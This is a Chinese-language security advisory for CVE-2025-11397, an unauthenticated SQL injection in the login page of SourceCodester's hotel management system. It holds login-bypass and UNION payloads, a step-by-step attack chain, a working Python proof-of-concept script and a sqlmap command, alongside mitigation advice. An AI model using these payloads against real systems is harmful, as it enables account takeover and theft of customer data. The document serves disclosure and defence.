IPBUF安全漏洞报告
English
CVE-2025-11397 CVSS 7.3 高危

CVE-2025-11397 SourceCodester酒店管理系统SQL注入漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11397
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Hotel and Lodge Management System

相关标签

SQL注入SourceCodesterHotel and Lodge Management Systemlogin.php高危漏洞CVSS 7.3远程攻击无需认证PHPMySQL

漏洞概述

CVE-2025-11397是SourceCodester酒店和旅馆管理系统(Hotel and Lodge Management System)1.0版本中存在的一个高危SQL注入漏洞。该漏洞位于系统的/login.php文件中,具体涉及对email参数的处理逻辑存在缺陷。攻击者可以通过远程方式,在无需身份认证和无需用户交互的情况下,向目标服务器发送精心构造的恶意SQL语句,从而实现对后台数据库的非法访问和操控。

根据CVSS 3.1评分标准,该漏洞评分为7.3分,属于高危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需特权(PR:N),无需用户交互(UI:N),作用域未改变(S:U),对机密性、完整性和可用性均产生低级别影响(C:L/I:L/A:L)。该漏洞的利用代码已公开发布,意味着任何具备基本攻击知识的攻击者都可以轻易利用此漏洞。

SourceCodester是一个提供免费源码下载的知名平台,其发布的酒店和旅馆管理系统被广泛用于中小型酒店、民宿及旅馆的日常运营管理,包括客房预订、客户管理、账单结算等核心业务功能。由于该系统涉及用户敏感信息(如客户个人信息、支付数据等),一旦遭受SQL注入攻击,可能导致大量敏感数据泄露、业务数据被篡改甚至系统瘫痪,给酒店经营者和客户带来严重的经济损失和声誉损害。

技术细节

该SQL注入漏洞的根本原因在于/login.php文件中对用户提交的email参数缺乏充分的输入验证和参数化处理。当用户通过登录表单提交邮箱地址时,后端代码直接将用户输入拼接到SQL查询语句中,而没有使用预编译语句(Prepared Statements)或参数化查询(Parameterized Queries)等安全措施。

攻击者可以利用经典的SQL注入技术,通过在email参数中注入恶意SQL片段来绕过身份验证或提取数据库内容。例如,攻击者可以提交类似以下格式的payload:

' OR '1'='1' --

或者使用基于UNION的注入技术:
' UNION SELECT username, password FROM users --

由于漏洞存在于登录页面,攻击者首先可以绕过身份验证以管理员身份登录系统,进而访问系统后台的所有管理功能。更严重的是,攻击者可以利用诸如sqlmap等自动化工具,通过布尔盲注、时间盲注或基于错误的注入技术,逐步提取数据库中的全部数据,包括管理员凭据、客户信息、财务记录等敏感数据。

该漏洞的攻击复杂度较低,因为login.php作为系统的入口页面,通常直接暴露在互联网上,攻击者无需绕过任何前置防护即可发起攻击。此外,由于漏洞利用代码已公开发布,攻击门槛进一步降低,潜在受影响面广泛。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过搜索引擎(如Shodan、Censys)或特定搜索语法(如inurl:login.php intitle:Hotel)发现暴露在互联网上的SourceCodester酒店管理系统实例,识别目标系统的/login.php入口页面。
STEP 2
步骤2:漏洞探测
攻击者向目标系统的/login.php提交包含特殊字符(如单引号')的email参数,检测系统是否返回数据库错误信息(如MySQL语法错误),确认SQL注入漏洞的存在。
STEP 3
步骤3:漏洞利用
攻击者构造SQL注入payload(如' OR '1'='1' --),通过email参数提交,绕过登录验证机制,以管理员身份登录系统后台。
STEP 4
步骤4:数据提取
利用UNION查询或盲注技术,攻击者逐步提取数据库中的敏感信息,包括管理员凭据、客户个人信息、支付记录等。
STEP 5
步骤5:权限提升与持久化
获取管理员凭据后,攻击者可上传WebShell、修改系统配置或植入后门,实现对系统的长期控制。
STEP 6
步骤6:数据破坏或泄露
攻击者可篡改业务数据(如房价、订单状态)、删除关键数据,或将窃取的敏感数据在暗网出售牟利。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11397 - SourceCodester Hotel and Lodge Management System SQL Injection PoC # Vulnerability Location: /login.php # Vulnerable Parameter: email import requests # Target configuration TARGET_URL = "http://target.com/login.php" # SQL Injection Payload - Authentication Bypass payload_email = "' OR '1'='1' -- " payload_password = "anything" # Data extraction payload using UNION-based injection union_payload = "' UNION SELECT 1,2,3,4,5,6 -- " def exploit_auth_bypass(target_url, email, password): """ Attempt authentication bypass via SQL injection in email parameter """ data = { "email": email, "password": password } try: response = requests.post(target_url, data=data, timeout=10) if "dashboard" in response.text.lower() or "admin" in response.text.lower(): print(f"[+] Authentication bypassed successfully!") print(f"[+] Response length: {len(response.text)}") return True else: print(f"[-] Authentication bypass failed.") return False except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def exploit_data_extraction(target_url, payload): """ Extract database information via UNION-based SQL injection """ data = { "email": payload, "password": "test" } try: response = requests.post(target_url, data=data, timeout=10) print(f"[+] Response: {response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None # Using sqlmap command line for automated exploitation: # sqlmap -u "http://target.com/login.php" --data="[email protected]&password=test" -p email --dbs if __name__ == "__main__": print("[*] CVE-2025-11397 PoC - SQL Injection in Hotel and Lodge Management System") print(f"[*] Target: {TARGET_URL}") # Attempt authentication bypass exploit_auth_bypass(TARGET_URL, payload_email, payload_password) # Attempt data extraction exploit_data_extraction(TARGET_URL, union_payload)

影响范围

SourceCodester Hotel and Lodge Management System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)配置规则,阻断包含常见SQL注入特征的请求(如单引号、UNION、SELECT等关键字组合);2)修改/login.php源代码,将直接拼接SQL语句的方式改为使用参数化查询或预编译语句;3)对email参数实施严格的输入验证,仅允许符合邮箱格式的输入;4)限制数据库账户权限,禁止应用程序账户执行危险操作;5)监控该文件的访问日志,发现异常请求及时封禁来源IP;6)在前端和后端同时进行输入过滤,实施纵深防御策略。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表